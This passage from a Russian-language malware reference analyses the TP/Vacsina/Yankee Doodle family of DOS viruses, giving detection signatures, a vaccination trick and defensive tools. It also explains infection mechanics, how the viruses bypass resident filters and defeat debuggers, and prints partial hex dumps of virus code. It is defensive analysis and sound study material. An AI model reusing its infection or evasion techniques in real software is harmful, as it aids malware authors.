приводятся в прил. 3. 5.3. Группа TP-вирусов Данная группа резидентных вирусов имеет болгарское происхождение. По данным В.Бончева, они написаны техно-крысой из софийского вуза ВМЕИ им. В.И.Ленина (теперь Технический университет). В нее входит 12 отличающихся друг от друга, но несомненно принадлежащих одному автору штаммов. Вирусы разработаны в конце 1988 -- начале 1989 г. Впервые эти штаммы были описаны В.Бончевым ( окончившим, кстати, ВМЕИ им. В.И.Ленина в 1984 г.), который, по его собственному признанию, знаком с написавшей их техно-крысой. Об этом, также, свидетельствуют и некоторые факты. Во-первых, в статье [ ] В.Бончев утверждает, что заражение EXE-файла несколько сложнее, чем COM- файла, но возможно, хотя на самом деле сложность заражения COM- и EXE- файлов примерно равны. И, действительно, первые штаммы вирусов данной группы заражают EXE-файл специальным, более сложным способом, основанным на предварительной переделке EXE-файла в COM- файл. Во-вторых, бросается в глаза подробность, с которой в [14] описаны технические решения, использованные в ряде штаммов этой группы, причем само описание ведется с характерной скорее для разработчика, чем для исследователя, точки зрения. В первой статье, где упомянуты вирусы данной группы [КВ.3-4'89], уже указана такая "тонкая" подробность, как "вытеснение" старшими штаммами группы штаммов с меньшими номерами в зараженных файлах, хотя в самой статье упоминаются только вирусы подгруппы VACSINE, для которых "вытеснение" имеет место лишь в оперативной памяти. В третьих, в статье [13] указывается, что автором создан и фаг для этой группы вирусов, а единственным известным болгарским полифагом для данной группы является программа TP48CLS В.Бончева т.е. неисключено, что алгоритм "выкусывания" был предоставлен В.Бончеву самим автором этих вирусов. По оценке большинства исследователей, вирусы написаны специалистом высокой квалификации. Ни один из вирусов этой группы не ориентирован на нанесение вреда данным или программам на зараженном им компьютере. Для большинства представителей этой группы отличительным признаком является строка F47Ah в начале тела вируса за которой следует номер штамма. При этом, кроме версии TP-45 (Yankee Doodle-2D), указанная строка повторяется в конце тела вируса, т.е. в конце зараженного им файла, что позволяет быстро определить версию заразившего тот или иной файл вируса путем просмотра дампа памяти. Как видно из приводимых ниже дампов, байт F4h расположен со смещением 4 от конца, а байт 7Ah -- со смещением 3. Следующий за этой парой байтов (F4h, 7Ah) байт и определяет номер штамма. Штаммы, входящие в данную группу можно разделить на три подгруппы. 1) Подгруппа VACSINA (TP-4, TP-5 и TP-16). Это первые представи- тели данной группы, разработанные примерно в конце 1988 г. Все они содержат строку "VACSINA", выполняют преобразование EXE-файлов в COM-файлы в два этапа и не заражают файлов размером больше 64К. 2) Подгруппа музыкальной перезагрузки (ТР-24 и TР-25). Штаммы, входящие в данную подгруппу, играют мелодию Yankee Doodle Dendy при перезагрузке. Ограничение на размер заражаемых EXE-файлов сохраняется. 3) Подгруппа музыкальных самоедов (TP-33, TP-34, TP-38, TP-39, TP-41, TP-44 и TP-45). Штаммы, входящие в данную подгруппу разработаны примернов марте-апреле 1989 г. Они играют указанную выше мелодию в 17 часов, а начиная с TP-38 обладают средствами обхода резидентных фильтров и защиты от трассировки на зараженной машине. Размер заражаемых EXE-файлов не ограничен, а заражение ведется общепринятым способом. В первом приближении "динамика" изменений свойств данной группы вирусов может быть представлена следующим образом (изложение базируется на материалах, предоставленных Д.Н.Лозинским): до версии TP-05 при заражении портится дата создания файла; до TP-09 включительно при заражении COM-файла требуется, чтобы первой командой программы была JMP (т.е. файл начинался с кода E9). До TP-16 заражение EXE программ произходит в два этапа. На первом этапе EXE-программа трансформируется в COM-формат, путем дописывния специального "псевдозагрузчика" размером 132 байта, присоединяющегося по типу вируса, но лишенного способности к самостоятельному размножению. Следует отметить, что преобразование EXE-файла в COM-файл, выполняемое вирусом, отличается от преобразования, выполняемого утилитой EXE2COM и, тем самым, представляет некоторый самостоятельный интерес. На втором этапе получившийся агрегат заражается как обычный COM-файл (полифаг AIDSTEST распознает такой "агрегат" и помечает его в протоколе как (FL)). Следующие версии, включая TP-34, также преобразуют файлы типа EXE в файлы типа COM, однако делают это в один прием. По-видимому, штаммов от TP-16 до TP-24 вообще не существует. Начиная с версии TP-35 EXE-программы сохраняют свой формат, причем во всех заражаемых модулях со смещением 12h от начала стоит расстояние до начала вируса, деленное на 16. Одновременно в начале вируса дублируется сигнатура F47A и номер версии. Версия TP-45 при заражении EXE-программы в конец файла эту информацию не пишет. С версии TP-24 размножение не обнаруживается резидентными антивирусными программами, следящими за записью в программные файлы, поскольку вирус передает управление непосредственно в BIOS, обходя сторожей. С версии TP-33 вирусы принимают меры защиты от трассировки. В предыдущей главе описан нерезидентный вирус E-1961, называемый SCAN Yankee Doodle Short длиной 1961 байт, однако с данной группой его объединяет только общность играемой мелодии. Для данного семейства вирусов просматривается прямая аналогия с описанной выше игрой Animal, хотя конструктивная цель в данном случае отсутствует. Номер версии вируса используется данным вирусом для идентификации себя в оперативной памяти и возвращается резидентными частями вируса при выполнении прерывания 21-C500 для версий 19h, 21h, 22h или 21-C600 для версий 26h, 29h, 2Сh. При этом, если запускать поочередно файлы, зараженные вирусами разных версий в порядке возрастания версий, то в оперативной памяти будет создана как бы цепочка резидентных вирусов, причем при запуске незараженной программы она будет инфицирована версией вируса с наибольшим номером. Если же начать загружать зараженные программы в порядке убывания версии вируса, то версии с меньшими номерами не будут становиться резидентными. Используя эту идею, В. Пономаренко создал резидентную поливакцину NEATVAC (СП 2-7), позволяющую блокировать заражение оперативной памяти данным вирусом. Кроме того, и это существенно усиливает аналогию с игрой Animal, резидентный вирус, входящий в подгруппу самоедов, при попытке заражения некоторой программы не только контролирует, заражена уже эта программа или нет, но и определяет номер версии, если программа уже заражена одним из вирусов данной группы. Дальнейшие действия вируса зависят от того, больше этот номер версии его собственного номера или нет. Если программа заражена вирусом с меньшим номером, то вирус заменит эту версию на свою, предварительно "выкусив" старую. Поскольку вирус при этом проверяет только последние байты файла, можно вакцинировать файл от большинства вирусов этой группы, дописав в конец строку F4 7A FF 00. Полидетектор SCAN называет представителей данной группы вирусов "Vacsina virus [Vacs]" или "Yankee Doodle Virus [Doodle]", причем ранние (до 66) версии SCAN часто выдают для зараженного файла оба имени одновременно, что обычно не означает заражения модуля двумя вирусами, а связано с несовершенством используемых в нем сигнатур. 5.3.1. Подгруппа Vacsina Данная подгруппа получила свое название в связи с тем, что все входящие в нее штаммы содержат строку "VACSINA". Заражаются как COM-, так и EXE-файлы, причем максимальная длина зараженных файлов не превышает 64К. Заражение файлов происходит при запуске на выполнение соответствующих программ. При заражении вирусы данной подгруппы дописывают свое тело в конец COM- и EXE-файлов. Штаммы подгруппы работоспособны на любой версии MS DOS. Проверка номера версии в теле вируса не выполняется. Перехватывают прерывание 21h. Заражаются только COM-файлы, имеющие размер мeнее 63К и начинающиеся с команды перехода (первый байт файла должен содержать E9h). Дата создания и атрибуты остаются неизменными. Заражение выполняется однократно. При заражении вирус дописывает тело в конец файла, вставляя в первые три байта команду перехода на начало вируса. Длина зараженного файла увеличивается до значения, кратного 16, поэтому при лечении недостаточно укорачивать файл на стандартную величину -- исходная длина файла должна быть извлечена из тела вируса. В конце тела вируса хранятся байты F4h, 7Ah, по которым вирус определяет, что данный СOM-файл уже заражен. Как уже отмечалось, заражение EXE-файлов выполняется данной группой очень своеобразно: в заголовок заражаемого EXE-файла записывается команда перехода на тело вируса (в данном случае тело представляет собой часть вируса размером 132 (84h), обеспечивающую загрузку EXE-файлов, т.е. по сути выполняет функции системного загрузчика). Таким образом, вирус переделывает зараженный EXE-файл в COM-файл. Этот "псевдозагрузчик" EXE-файлов обеспечивает настройку загруженного в память файла и передачу на него управления. Для лечения такого файла достаточно восстановить первые три байта с учетом первоначальной длины файла и укоротить файл на 132 байта. EXEфайлы, требующие не всю свободную память системы (не равна FFFF переменная MaxMem в заголовке), данным вирусом не заражаются. Кроме того, вирус не заражает файлы, размер которых больше 64К или размер которых превысил бы 64К при заражении. Поскольку после заражения EXE-файл фактически превращается в COM-файл, возможно его вторичное заражение вирусом, уже как файла типа COM. 5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5) Данный вирус является наиболее распространенным в подгруппе, поэтому рассмотрение подгруппы мы начнем именно с него. Формально вирус RСE-1206 является файловым резидентным вирусом, поражающим как файлы типа СОМ, так и файлы типа EXE. Зараженный COMMAND.COM имеет размер 26509 байтов (если его первоначальный размер был 25307 байтов). Длина вируса составляет 1206 (4B6h) байтов. Заражаются COM-файлы длиной от 1206 (4B6h) до 62867 (F593h) байтов и EXE-файлы длиной до FDB3h байтов при загрузке их в память для выполнения (21-4Bh). Инсталляция вируса выполняется обычным образом. При выполнении зараженной COM-программы управление командой JMP (Е9h) передается на начало вируса. Первыми командами вирус узнает длину исходного файла и проверяет наличие своей копии в памяти компьютера. Если компьютер не заражен, то вирус копирует всю программу в свободное место в памяти и, таким образом, остается резидентным. Затем вирус перехватывает прерывание 21h. В результате при запуске любой программы вирус получает управление, проверяет, является ли запускаемая программа зараженной, и если нет, то заражает данную программу на диске. Определение зараженности программы основано на считывании последних 3 байтов зараженной программы. У заражаемого COM-файла вирус проверяет первый байт. Если этот байт не равен E9h (JMP), то файл не заражается. При заражении длина файла увеличивается до значения, кратного параграфу (16 байтов), к файлу добавляются 1206 байтов вируса и изменяются первые 3 байта файла (JMP на тело вируса). При заражении EXE-файла к нему дописываются 132 байта из тела вируса и изменяются первые 3 байта файла (JMP на тело вируса), при этом файл преобразуется в формат COM. Дописанные к файлу 132 байта не распространяют вирус и лишены способности к размножению. Их действие заключается в настройке адресов программы при ее запуске (псевдозагрузчик). Фаза проявления для данного вируса привязана к моменту заражения файла: при заражении файла раздается звуковой сигнал (BELL). Резидентная часть вируса обнаруживается путем просмотра списка резидентных программ (с помощью утилит MAP, SMAP, MMAP и т.д.). При этом видна "подозрительная" дополнительная программа, не имеющая ни имени, ни родителя и имеющая размер 1200 байт. Являясь резидентным, вирус распознает случаи загрузки программ с защищенных от записи дискет или разделов винчестера и не пытается заражать такие файлы. При запуске вирус создает на диске скрытый файл, который, по-видимому, никакого назначения не выполняет и, возможно, использовался при отладке. Исторические замечания. По данным статьи Бончева [11], вирус имеет болгарское происхождение и разработан в конце 1988 г. В Москве вирус появился весной 1989 г. В Киеве появился вместе с компьютерами, приобретенными у одного из московских кооперативов в сентябре 1989 г. Из советских авторов вирус RСЕ-1206 впервые, по-видимому, описал О.Котик в документации к полифагу ANTI-KOT, который был первым фагом против данного вируса, широко использовавшимся в Киеве. Неформальные названия. Помимо приведенных выше названий, используется название Sina. Программные средства защиты. Фаги см. прил.1. Вакцина -- NEATVAC. Фрагмент дампа дрозофилы, зараженной вирусом RCE-1206 100 110 *** 810 820 830 840 850 860 870 880 890 8A0 8B0 8C0 8D0 8E0 8F0 E9C90A9090909090 9090909090909090 ................ 9090909090909090 9090909090909090 ................ Далее следуют строки, идентичные предыдущей *** 9090909090909090 9090909090C31A90 ................ 4D07004B00000000 0000000000000000 M..K............ 60020B105605AB0E 2000050090909090 `...V... ....... 9090C31A00564143 53494E4120202020 .....VACSINA 0000800000000000 7C1137A80040C200 ........|.7..@.. 460A000000000000 0020202020202020 F........ 2020202020202020 2020202020E80000 ... 5B508CC00510008B 0E0E0103C8894FFB [P............O. 8B0E160103C8894F F78B0E1001894FF9 .......O......O. 8B0E1401894FF58B 3E18018B160801B1 .....O..>....... 04D3E28B0E0601E3 1726C5B5000183C7 .........&...... 048CDD26032E0801 03E88EDD0104E2E9 ...&............ 0E1FBF00018BF281 C600018BCB2BCEF3 .............+.. A458FA8E57FB8B67 F9FBFF6FF5B003CF .X..W..g...o.... 9C3D004B74069D2E FF2E0000061E5557 .=.Kt.........UW 900 910 920 930 940 950 960 970 ... C80 C90 CA0 CB0 CC0 CD0 56525153508BECB8 002E891E04000E1F 0E1FBA1400B40FCD 5606CD217303E9DA 4380E1FECD217303 0E8B5606CD217303 D80E1FBA0C00B906 060075142E813E0C .. .. .. .. .. .. 2E8B162C004A8EC2 53CD21368C060200 258CD28EDABAC000 C706C5007F3926C6 B41ABA5000CD212E 0502F47A0500 +----+ сигнатура Addr -----(1111) (17E8) (11F9) (127B) (137B) (146A) (14A5) (14F5) (152F) (155E) (1582) (1651) (0007) 2435CD212E8C0606 BABD00B82425CD21 21B800438E5E0E8B 012E890E0800B801 E9C801B8023D8E5E E9A8012EA30A008B 00B43FCD2172193D 004D5A7503E9B501 .. .. .. .. .. .. 268C0E0100B82135 36891E00005BB821 CD21B800008EC026 06C700058CC88ED8 8B47FBE94EFF1F07 VRQSP...$5.!.... ............$%.! ........!..C.^.. V..!s........... C....!s......=.^ ..V..!s......... ..........?.!r.= ..u...>..MZu.... .. .. .. .. .. ...,.J..&.....!5 S.!6....6....[.! %........!.....& ....•9&......... ...P..!..G..N... ...z.. Пример карты памяти зараженного компьютера Program Parent Sg Bytes Hooked Vectors -------- -------- -- ------ ----------------DOS N/A 2 3536 DOSEDIT DOS 2 2016 21 DOSEDIT DOS 2 2032 BETA DOS 2 4064 N/A DOS 1 3808 03 43 N/A DOS 1 928 10 N/A DOS 1 1264 N/A DOS 1 912 09 N/A DOS 1 736 16 2F N/A DOS 1 560 N/A DOS 1 3296 N/A DOS 1 5280 17 N/A N/A 1 1200 5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04). За исключением нескольких команд, вирус практически полностью совпадает с вирусом VASCINA-05. Длина вируса составляет 1212 байтов. Иногда портит дату создания файла. Исторические сведения. Вирус распространялся на вирусной дискете В.Бончева. Содержащийся на ней файл TP4VIR.COM датирован 13 декабря 1988 г. Фрагмент дампа дрозофилы, зараженной вирусом RCE-1212 000: 010: *** 4C0: 4D0: 4E0: 4F0: 500: 510: 520: 530: 540: ... 920: 930: 940: 950: E969089090909090 9090909090909090 .i.............. 9090909090909090 9090909090909090 ................ последующие строки идентичны предыдущей *** 4D07004B00000000 0000000000000000 M..K............ 5C06FD1856059D10 2000050090909090 \...V... ....... 9090909005564143 53494E4120202020 .....VACSINA 0000800000000000 7011C3900240C200 ........p....@.. D009000000000000 0020202020202020 ......... 2020202020202020 2020202020E80000 ... 5B508CC00510008B 0E0E0103C8894FFB [P............O. 8B0E160103C8894F F78B0E1001894FF9 .......O......O. 8B0E1401894FF58B 3E18018B160801B1 .....O..>....... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 5B2E8C0E36002E8B 162C004A8EC2268C [...6....,.J..&. 0E0100B8213553CD 21368C0602003689 ....!5S.!6....6. 1E00005BB821258C D28EDABAC000CD21 ...[.!%........! B800008EC026C706 C5007F3926C606C7 .....&.....9&... 960: 00048CC88ED8B41A BA5000CD212E8B47 970: FBE948FFC0040301 F47A0400 +--------+ сигнатура .........P..!..G ..H......z.. 5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10) Длина этого вируса 1339 (53Bh) при заражении COM- и 1483 -- EXEфайлов. Как и во всех вирусах рассматриваемой подгруппы, заражение EXE-файлов происходит в две стадии. После первой стадии файл удлиняется на 132 байта. Никаких действий, кроме размножения, вирус не выполняет. Заражаются COM-файлы длиной от 1339 (53Bh) до 62601 (F489h) байтов и EXE-файлы длиной до FDB3h байтов при загрузке их в память для выполнения (21-4Bh). По структуре вирус довольно близок к RCE-1206 (VASCINA-05), однако заражает COM-файлы вне зависимости от первого байта файла (вирус VACSINA-05 заражает только файлы, первый байт которых равен E9h). Фрагмент дампа дрозофилы, зараженной вирусом RCE-1339 000: E94D099090909090 9090909090909090 .M.............. 010: 9090909090909090 9090909090909090 ................ *** Последующие строки идентичны предыдущей *** 540: 4D08005300000000 0000000000000000 M..S............ 550: 5C06FD1856059D10 20000500AE002100 \...V... .....!. 560: 9090909090909090 9090909090900056 ...............V 570: 414353494E412020 2020000080000000 ACSINA ...... 580: 00009C11FB750140 C200460A00000000 .....u.@..F..... 590: 0000002020202020 2020202020202020 ... 5A0: 20202020202020E8 00005B508CC00510 ...[P.... 5B0: 008B0E0E0103C889 4FFB8B0E160103C8 ........O....... 5C0: 894FF78B0E100189 4FF98B0E1401894F .O......O......O 5D0: F58B3E18018B1608 01B104D3E28B0E06 ..>............. ... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. A40: 00005BB821258CD2 8EDABACA00CD21B8 ..[.!%........!. A50: 00008EC026C706C5 007F3926C606C700 ....&.....9&.... A60: 108CC88ED8B41ABA 5000CD212E8B47FB ........P..!..G. A70: E92DFF40050301F4 7A10E9 .-.@....z.. +-----+ сигнатура 5.3.2. Подгруппа музыкальной перезагрузки Штаммы, входящие в данную группу, имеют характерную фазу проявления: в зараженной ими системе попытка перезагрузки MS DOS с помощью комбинации нажатий клавиш CTRL-ALT-DEL вызывает в начале звучание мелодии "Янки дудль денди". Звучание продолжается примерно 20 с., а затем происходит нормальная перезагрузка системы. 5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 -Янки дудль-19, Музыкальная перезагрузка) Вирус RСE-1805 является файловым резидентным вирусом, поражающим как файлы типа СОМ, так и файлы типа EXE. Заражение файлов происходит при запуске на выполнение соответствующих программ. Заражает COMMAND.COM. Вирус работоспособен на любой версии MS DOS. При запуске зараженной программы данный вирус сначала проверяет, имеется ли уже резидентный вирус, по описанной выше схеме, единой для данной группы. При этой проверке возвращается номер версии резидентного вируса, если он есть в оперативной памяти. Если номер версии резидентного вируса меньше, чем номер версии вируса в зара- женной программе или вирус в оперативной памяти отсутствует, то старшая версия вируса из зараженной программы становится резидентной и перехватывает прерывания 09 и 21. Заражение выполняется при запуске программы на выполнение. Получив управление по прерыванию 21-4B вирус проверяет, является ли запускаемая программа зараженной, и если нет, то заражает данную программу на диске. При этом вирус изменяет первые 14 байтов зараженной программы и дописывает в конце программы собственное тело. Определение зараженности программы основано на считывании последних 8 байтов зараженной программы. Подобно вирусу RC-1701, RCE-1805 не проверяет, загружается ли файл с защищенной дискеты или нет. Зараженные файлы увеличиваются в размере на 1805-1820 байтов, причем дата их создания и атрибуты остаются неизменными. Заражение выполняется однократно. Фаза проявления была описана выше. Никаких других несанкционированных действий, кроме проигрывания мелодии при нажатии клавиш CTRL-ALT-DEL, вирус не выполняет. Резидентная часть вируса обнаруживается путем просмотра списка резидентных программ (с помощью утилит MAP, SMAP, MMAP и т.д.). При этом видна "подозрительная" дополнительная программа, не имеющая ни имени, ни родителя и имеющая размер 1792 байт. При этом в графе "Hooked vectors" не указано ни одного перехваченного прерывания, что, конечно же, не соответствует действительности. Вирус обращается к 21 прерыванию непосредственно, а не с помощью команды INT, что обеспечивает обход простейших фильтров типа VIRBLK. Исторические замечания. Данный вирус был обнаружен в Киеве в июле 1989 г. Одним из первых этот вирус исследовали В.Е.Еременко и Е.Ю.Портной, которые самостоятельно разработали фаг для этого вируса в сентябре 1989 г. Первым попавшим в Киев фагом против данного вируса была программа VDEATH. В настоящее время вирус практически полностью уничтожен. Программные средства защиты. Рекомендуемые полифаги приведены в табл.1. Вирус содержит примитивные средства защиты против трассировки и обхода резидентных средств защиты. В частности, попытки записи вируса в запускаемый файл не обнаруживаются ни VIRBLK, ни ANTI4US2. Фильтр ANTI4US2 не срабатывает на попытку вируса стать резидентным. При использовании Advanced Disk Manager вирус не в состоянии попасть в разделы винчестера, для которых установлен статус READ ONLY. Однако при этом блокируется вызов программ. Имеется резидентная вакцина (NEATVAC). Фрагмент дампа дрозофилы, зараженной вирусом RCE-1805 000: 010: *** 400: 410: 420: 430: 440: 450: 460: 470: 480: 490: 4A0: 4B0: ... 5F0: 600: 610: E9B5079090909090 9090909090909090 ................ 9090909090909090 9090909090909090 ................ Последующие строки идентичны предыдущей *** 4D08007000000000 0000000000000000 M..p............ 050EC32B60142602 5605E3281101FB2A ...+`.&.V..(...* 2000050006052100 000000010C909090 .....!......... 9090909090909090 909090FF2E10009C ................ FA2EFF1E1400C353 502E8B1E2200B445 .......SP..."..E E8ECFF72098BD8B4 3EE8E3FFEB01F858 ...r....>......X 5BC3B003CF50E460 3C53752EB402CD16 [....P.`<Su..... 240C3C0C75248CC8 8ED88ED0BCFEFF2E $.<.u$.......... 803E2C000A7203E8 C405B800008ED8C7 .>,..r.......... 0672043412EAF0FF 00F0582EFF2E1C00 .r.4......X..... 9C3D004B74613D00 C574483D01C57448 .=.Kta=..tH=..tH 3D02C5744B3D03C5 740C9D2EFF2E1000 =..tK=..t....... .. .. .. .. .. .. .. .. .. .. .. .. B900008BD18B1E22 00E843FE72E583FA ......."..C.r... 0075E03D200076DB 3D1DF09073D5A305 .u.= .v.=...s... 07B80042B900008B D18B1E2200E81FFE ...B.......".... 620: 72C1BA2D00B90E00 B43FE812FE72B43D r..-.....?...r.= 630: 0E0075AF813E2D00 4D5A740B813E2D00 ..u..>-.MZt..>-. ... .. .. .. .. .. .. .. .. .. .. .. .. AA0: C400DC00C400AE00 A400AE00C400DC00 ................ AB0: F600DC00AE00DC00 F6000601DC00C400 ................ AC0: 0601F60025010601 0601FFFF19191919 ....%........... AD0: 1919191919191919 3232191919191919 ........22...... AE0: 1919191919193232 1A191A1919191919 ......22........ AF0: 1A191A1919191E1A 191A191919191E19 ................ B00: 1919193232000493 91F47A1990 ...22.....z.. 5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 -Янки дудль-18, Музыкальная перезагрузка) Данный штамм практически не отличается от предыдущего. Фрагмент дампа программы DUMY.COM, зараженной вирусом RCE-1760 000: 010: 020: 030: 040: 050: 060: 070: 080: 090: 0A0: 0B0: 0C0: 0D0: 0E0: 0F0: ... 630: 640: 650: 660: 670: 680: 690: 6A0: 6B0: 6C0: 6D0: 6E0: 6F0: 700: E9B8039090909090 9090909090909090 9090909090909090 4D08006D00000000 3903981460146402 2000050045002100 9090909090909090 FA2EFF1E1400C353 E8ECFF72098BD8B4 5BC3B003CF50E460 240C3C0C75248CC8 803E2C000A7203E8 0672043412EAF0FF 9C3D004B74613D00 3D02C5744B3D03C5 9DFBF9CA0200B819 .. .. .. .. C4E6615F5A5958C3 8A5E002AC92AFFE8 C3BE2B06BD9F06E8 0149010601490125 0149010601060106 01490125010601F6 010601DC00F600DC 01DC00C400DC00C4 00DC00F600DC00AE 00C4000601F60025 1919191919191919 1919191919191919 1919191A191A1919 191E191919193232 9090909090909090 9090909090909090 9090909090909090 0000000000000000 56059D10E6049A11 000000012F909090 909090FF2E10009C 502E8B1E2200B445 3EE8E3FFEB01F858 3C53752EB402CD16 8ED88ED0BCFEFF2E 9705B800008ED8C7 00F0582EFF2E1C00 C574483D01C57448 740C9D2EFF2E1000 002EF6062B000275 .. .. .. .. 8B3C83FFFF74113E C2FF83C6024575E8 DEFFC30601060125 01C4000601060125 010601250149015D 00C400DC00F60006 00AE00DC00F60006 00AE00A400AE00C4 00DC00F6000601DC 0106010601FFFF19 1919193232191919 1932321A191A1919 191E1A191A191919 30009391F47A1890 +----+ сигнатура ................ ................ ................ M..m............ 9...`.d.V....... ...E.!...../... ................ .......SP..."..E ...r....>......X [....P.`<Su..... $.<.u$.......... .>,..r.......... .r.4......X..... .=.Kta=..tH=..tH =..tK=..t....... ............+..u .. .. .. .. ..a_ZYX..<...t.> .^.*.*.......Eu. ..+............% .I...I.%.......% .I.........%.I.] .I.%............ ................ ................ ................ .......%........ ...........22... .........22..... ................ ......220....z.. 5.3.3. Подгруппа музыкальных самоедов В данную подгруппу входят наиболее совершенные штаммы данной группы вирусов. По-видимому, все представители данной группы играют в 17.00 мелодию Янки Дудль Денди, поэтому их иногда называют Five o'clock (Пять часов). Штаммы, входящие в данную подгруппу увеличивают свои функциональные возможности, с возрастанием номера версии. Стиль написания вируса создает впечатление перекодировки с языка высокого уровня. Возможно, прототип был предварительно напи- сан на Турбо Паскале, отсюда и название TP. Для структуры этой подгруппы характерно наличие многочисленных подпрограмм и активное использование стека. При анализе дампов программ, зараженных штаммами данной подгруппы, обращает на себя внимание тот факт, что все они содержат группы повторяющихся символов с кодом 05. Поэтому для контекстного поиска зараженных файлов можно использовать строку, состоящую из восьми повторений символа с шестнадцатиричным кодом 05. Начиная со штамма RCE-2661 (ТР-38) в них применяется защита от обнаружения фильтрами, перехватывающими прерывание 21. Примененный прием основан на выполнении трассировки программ, "сидящих" на 21 прерывании до попадания в "оригинальный" обработчик MS DOS, и запоминании соответствующего адреса. Кроме того, именно с этого штамма наблюдается эффект "самоизлечения" зараженной программы, при попытке трассировки ее на зараженной вирусом машине. Среди данной подгруппы впервые встречается попытка реализовать модификацию одного вируса другим вирусом. Начиная со штамма ТР-42, вирус проверяет, заражен ли компьютер, на котором он распространяется вирусом Bx1-1C (Пинг-понг). Если да, то выполняется модификация вируса Bx1-1C в памяти таким образом, что в код вируса вводится специальный счетчик, инициализируемый значением 255. После заражения дискеты вирус уменьшает счетчик на единицу и при достижении счетчиком значения нуль перестает размножаться. Кроме того, начиная со штамма TP-44, мелодия играется не каждый раз при достижении часами значения 17.00, а с вероятностью приблизительно 1/8, что несколько затрудняет обнаружение вируса. Наиболее распространенным представителем этой группы является штамм RCE-2885 (Five o'clock; TP-44), с которого мы и начнем описание представителей данной группы. 5.3.3.1. Штамм RCE-2885 (TP-44, Yankee Doodle-2C - Янки дудль-2С, Five o'clock) Вирус RСE-2885 является файловым резидентным вирусом, поражающим как файлы типа СОМ, так и файлы типа EXE. Заражение файлов происходит при запуске на выполнение соответствующих программ. Заражение COMMAND.COM происходит сразу после инсталляции вируса в верхние адреса свободной оперативной памяти, поскольку при этом затирается транзитная часть COMMAND.COM. Зараженный командный процессор имеет длину 28197, при исходной длине 25307. Зависимости работоспособности вируса от версии MS DOS не обнаружено. Проверка номера версии в теле вируса не выполняется. Перехватывает прерывания 1, 3, 1Ch, 21h. Дата создания и атрибуты заражаемого файла остаются неизменными. Заражение выполняется однократно. При заражении COM-файлов вирус дописывает свое тело в конец файла, вставляя в первые три байта команду перехода на начало вируса. Зараженные COM-файлы увеличиваются на 2885 (B45h) байтов (с выравниванием на границу параграфа). Заражаются COM-файлы длиной от 20h до F277h байтов. В конце зараженного файла расположена четырехбайтовая сигнатура вируса 7Fh, 39h, 2Ch, 00h. При заражении EXE-файлов вирус также дописывает свое тело в конец файла с выравниванием начала вируса на границу параграфа. При этом размер файла увеличивается на 2881 (B41h) байт. Длина при заражении EXE- файлов не контролируется. В конце зараженного EXEфайла четырехбайтовая сигнатура отсутствует. При инсталляции вирус узнает длину исходного файла, восстанавливает истинный стартовый адрес программы и проверяет наличие своей копии в памяти компьютера. Если компьютер не заражен или заражен более ранней версией вируса, то RCE-2885 копирует себя в область памяти либо сразу за телом программы, либо выделенную функцией ALLOC (21-48h) и, манипулируя с MCB, остается резидентным в памяти, перехватывая прерывания 21h, 1Ch и 09h. Вирус RCE-2885 проверяет, загружается ли файл с защищенной дис- кеты или нет. Поэтому он не препятствует загрузке любого СОМ-файла с защищенной дискеты. Резидентная часть вируса не обнаруживается путем просмотра списка резидентных программ (с помощью утилит MAP, SMAP, MMAP и т.д.). При этом вирус не детектируется программой RELEASE, а попытка запустить RELEASE на зараженной машине приводит к выдаче сообщения о том, что RELEASE не может стать резидентным. Вирус обходит контроль резидентных фильтров, следящих за записью в программные файлы. Фаза проявления данного вируса состоит в проигрывании с вероятностью 1/8 мелодии Янки Дудль ("Yankee Doodle") в 17 часов (точнее, в 16:59:53). Никаких разрушений или манипулирований с данными вирус не выполняет. При попытке дизассемблирования дизассемблером Sourcer, а также трассировке на зараженной машине, наблюдается эффект "самоизлечения" файлов. Этот достаточно "экзотический" эффект достигается за счет контроля прерываний 1h и 3h при получении управления по прерыванию 1Ch. По умолчанию процедуры обработки этих прерываний состоят из одной команды возврата. При загрузке программы, перехватывающей данные прерывания (программа трассировки или дизассемблер типа SOURCER), вирус устанавливает для указанных прерываний собственные процедуры обработки. Последние проверяют, не произошли ли эти прерывания из кодового сегмента, в котором расположена резидентная часть вируса, и если да, запускают подпрограмму восстановления кода вируса, тем самым отключая программу трассировки. Другими словами контроль прерываний 1 и 3 состоит в том, что, пока процедуры обработки этих прерываний состоят из одной команды возврата из прерывания, никаких действий вирусом не производится, но стоит Вам загрузить программу, модифицирующую адреса обработчика данных прерываний (например, отладчик), как вирус установит для них собственные процедуры обработки. Основной целью перехвата управления при обработке прерываний 1h и 3h является проверка, не произошли ли эти прерывания из кодового сегмента, равного сегменту загрузки в память резидентного вируса. Если это так, то кто-то пытается посмотреть работу вируса под отладчиком, и в ответ на это вызывается специальная процедура восстановления кода вируса, чем прерывается работа отладчика. Аналогичным образом реализовано самоизлечение загружаемых в трассировщик зараженных файлов: резидентная часть вируса отслеживает момент загрузки программы в память без исполнения (21-4Bh, AH=03), и проверяет, загружают в память зараженную программу или нет. В последнем случае запускается подпрограмма "выкусывания" вируса. Как уже указывалось, при заражении файлов, зараженных предыдущими версиями вируса, выполняется сначала "выкусывание", а затем заражение данным штаммом. Исторические замечания. Впервые вирус был описан В.Бончевым под названием TP-44. Данный вирус был обнаружен в Киеве в сентябре 1989 г. Первым фагом для данного вируса были программы RVC и RVE. (для COM- и EXE-файлов, соответственно). В настоящее время данные программы представляют только исторический интерес. Неформальные названия. Помимо приведенных в заголовке, используются следующие названия: Янки Дудль, Музыкальный, Летучий Голландец, TP-44. Программные средства защиты. Простейшие средства защиты недостаточно эффективны против данного вируса. В частности, попытки записи вируса в запускаемый файл не обнаруживаются ни VIRBLK, ни ANTI4US2. Эффективна защита на уровне дискового драйвера (Advanced Disk Manager, Dcache и т.д.). Как уже указывалось, вирус содержит средства защиты против трассировки. Для контроля работы детекторов можно использовать поиск строки "0505050505050505"h. Фрагмент дампа дрозофилы, зараженной вирусом RCE-2885 100 110 120 130 140 150 160 170 180 190 1A0 1B0 1C0 1D0 1E0 1F0 200 210 220 230 240 250 ... 911 920 930 ... B60 B70 B80 B90 BA0 BB0 BC0 BD0 BE0 BF0 C00 C10 C20 C30 C40 C50 C60 C70 C80 E90E089090909090 9090909090909090 9090040090909090 9090909090909090 9090909090909090 9090909090909090 9090909090909090 909090C37A3D0000 